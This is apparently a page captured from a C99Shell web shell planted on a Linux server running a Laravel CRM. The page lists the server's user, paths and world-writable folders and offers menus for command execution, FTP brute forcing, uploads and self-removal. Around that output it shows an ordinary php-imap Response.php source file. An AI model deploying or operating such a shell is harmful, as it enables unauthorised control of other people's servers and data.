!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/laravel-crm/vendor/webklex/php-imap/src/Connection/Protocols/   drwxrwxrwx
Free 13.1 GB of 57.97 GB (22.6%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Response.php (8.81 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/*
* File: Response.php
* Category: -
* Author: M.Goldenbaum
* Created: 30.12.22 19:46
* Updated: -
*
* Description:
*  -
*/


namespace Webklex\PHPIMAP\Connection\Protocols;

use 
Webklex\PHPIMAP\Exceptions\ResponseException;

/**
 * Class Response
 *
 * @package Webklex\PHPIMAP\Connection\Protocols
 */
class Response {

    
/**
     * The commands used to fetch or manipulate data
     * @var array $command
     */
    
protected array $commands = [];

    
/**
     * The original response received
     * @var array $response
     */
    
protected array $response = [];

    
/**
     * Errors that have occurred while fetching or parsing the response
     * @var array $errors
     */
    
protected array $errors = [];

    
/**
     * Result to be returned
     * @var mixed|null $result
     */
    
protected mixed $result null;

    
/**
     * Noun to identify the request / response
     * @var int $noun
     */
    
protected int $noun 0;

    
/**
     * Other related responses
     * @var array $response_stack
     */
    
protected array $response_stack = [];

    
/**
     * Debug flag
     * @var bool $debug
     */
    
protected bool $debug false;

    
/**
     * Can the response be empty?
     * @var bool $can_be_empty
     */
    
protected bool $can_be_empty false;

    
/**
     * Create a new Response instance
     */
    
public function __construct(int $nounbool $debug false) {
        
$this->debug $debug;
        
$this->noun $noun $noun : (int)str_replace(".""", (string)microtime(true));
    }

    
/**
     * Make a new response instance
     * @param int $noun
     * @param array $commands
     * @param array $responses
     * @param bool $debug
     *
     * @return Response
     */
    
public static function make(int $noun, array $commands = [], array $responses = [], bool $debug false): Response {
        return (new 
self($noun$debug))->setCommands($commands)->setResponse($responses);
    }

    
/**
     * Create a new empty response
     * @param bool $debug
     *
     * @return Response
     */
    
public static function empty(bool $debug false): Response {
        return (new 
self(0$debug));
    }

    
/**
     * Stack another response
     * @param Response $response
     *
     * @return void
     */
    
public function stack(Response $response): void {
        
$this->response_stack[] = $response;
    }

    
/**
     * Get the associated response stack
     *
     * @return array
     */
    
public function getStack(): array {
        return 
$this->response_stack;
    }

    
/**
     * Get all assigned commands
     *
     * @return array
     */
    
public function getCommands(): array {
        return 
$this->commands;
    }

    
/**
     * Add a new command
     * @param string $command
     *
     * @return Response
     */
    
public function addCommand(string $command): Response {
        
$this->commands[] = $command;
        return 
$this;
    }

    
/**
     * Set and overwrite all commands
     * @param array $commands
     *
     * @return Response
     */
    
public function setCommands(array $commands): Response {
        
$this->commands $commands;
        return 
$this;
    }

    
/**
     * Get all set errors
     *
     * @return array
     */
    
public function getErrors(): array {
        
$errors $this->errors;
        foreach(
$this->getStack() as $response) {
            
$errors array_merge($errors$response->getErrors());
        }
        return 
$errors;
    }

    
/**
     * Set and overwrite all existing errors
     * @param array $errors
     *
     * @return Response
     */
    
public function setErrors(array $errors): Response {
        
$this->errors $errors;
        return 
$this;
    }

    
/**
     * Set the response
     * @param string $error
     *
     * @return Response
     */
    
public function addError(string $error): Response {
        
$this->errors[] = $error;
        return 
$this;
    }

    
/**
     * Set the response
     * @param array $response
     *
     * @return Response
     */
    
public function addResponse(mixed $response): Response {
        
$this->response[] = $response;
        return 
$this;
    }

    
/**
     * Set the response
     * @param array $response
     *
     * @return Response
     */
    
public function setResponse(array $response): Response {
        
$this->response $response;
        return 
$this;
    }

    
/**
     * Get the assigned response
     *
     * @return array
     */
    
public function getResponse(): array {
        return 
$this->response;
    }

    
/**
     * Set the result data
     * @param mixed $result
     *
     * @return Response
     */
    
public function setResult(mixed $result): Response  {
        
$this->result $result;
        return 
$this;
    }

    
/**
     * Wrap a result bearing action
     * @param callable $callback
     *
     * @return Response
     */
    
public function wrap(callable $callback): Response  {
        
$this->result call_user_func($callback$this);
        return 
$this;
    }

    
/**
     * Get the response data
     *
     * @return mixed
     */
    
public function data(): mixed {
        if (
$this->result !== null) {
            return 
$this->result;
        }
        return 
$this->getResponse();
    }

    
/**
     * Get the response data as array
     *
     * @return array
     */
    
public function array(): array {
        
$data $this->data();
        if(
is_array($data)){
            return 
$data;
        }
        return [
$data];
    }

    
/**
     * Get the response data as string
     *
     * @return string
     */
    
public function string(): string {
        
$data $this->data();
        if(
is_array($data)){
            return 
implode(" "$data);
        }
        return (string)
$data;
    }

    
/**
     * Get the response data as integer
     *
     * @return int
     */
    
public function integer(): int {
        
$data $this->data();
        if(
is_array($data) && isset($data[0])){
            return (int)
$data[0];
        }
        return (int)
$data;
    }

    
/**
     * Get the response data as boolean
     *
     * @return bool
     */
    
public function boolean(): bool {
        return (bool)
$this->data();
    }

    
/**
     * Validate and retrieve the response data
     *
     * @throws ResponseException
     */
    
public function validatedData(): mixed {
        return 
$this->validate()->data();
    }

    
/**
     * Validate the response date
     *
     * @throws ResponseException
     */
    
public function validate(): Response {
        if (
$this->failed()) {
            throw 
ResponseException::make($this$this->debug);
        }
        return 
$this;
    }

    
/**
     * Check if the Response can be considered successful
     *
     * @return bool
     */
    
public function successful(): bool {
        foreach(
array_merge($this->getResponse(), $this->array()) as $data) {
            if (!
$this->verify_data($data)) {
                return 
false;
            }
        }
        foreach(
$this->getStack() as $response) {
            if (!
$response->successful()) {
                return 
false;
            }
        }
        return (
$this->boolean() || $this->canBeEmpty()) && !$this->getErrors();
    }


    
/**
     * Check if the Response can be considered failed
     * @param mixed $data
     *
     * @return bool
     */
    
public function verify_data(mixed $data): bool {
        if (
is_array($data)) {
            foreach (
$data as $line) {
                if (
is_array($line)) {
                    if(!
$this->verify_data($line)){
                        return 
false;
                    }
                }else{
                    if (!
$this->verify_line((string)$line)) {
                        return 
false;
                    }
                }
            }
        }else{
            if (!
$this->verify_line((string)$data)) {
                return 
false;
            }
        }
        return 
true;
    }

    
/**
     * Verify a single line
     * @param string $line
     *
     * @return bool
     */
    
public function verify_line(string $line): bool {
        return !
str_starts_with($line"TAG".$this->noun." BAD ") && !str_starts_with($line"TAG".$this->noun." NO ");
    }

    
/**
     * Check if the Response can be considered failed
     *
     * @return bool
     */
    
public function failed(): bool {
        return !
$this->successful();
    }

    
/**
     * Get the Response noun
     *
     * @return int
     */
    
public function Noun(): int {
        return 
$this->noun;
    }

    
/**
     * Set the Response to be allowed to be empty
     * @param bool $can_be_empty
     *
     * @return $this
     */
    
public function setCanBeEmpty(bool $can_be_empty): Response {
        
$this->can_be_empty $can_be_empty;
        return 
$this;
    }

    
/**
     * Check if the Response can be empty
     *
     * @return bool
     */
    
public function canBeEmpty(): bool {
        return 
$this->can_be_empty;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--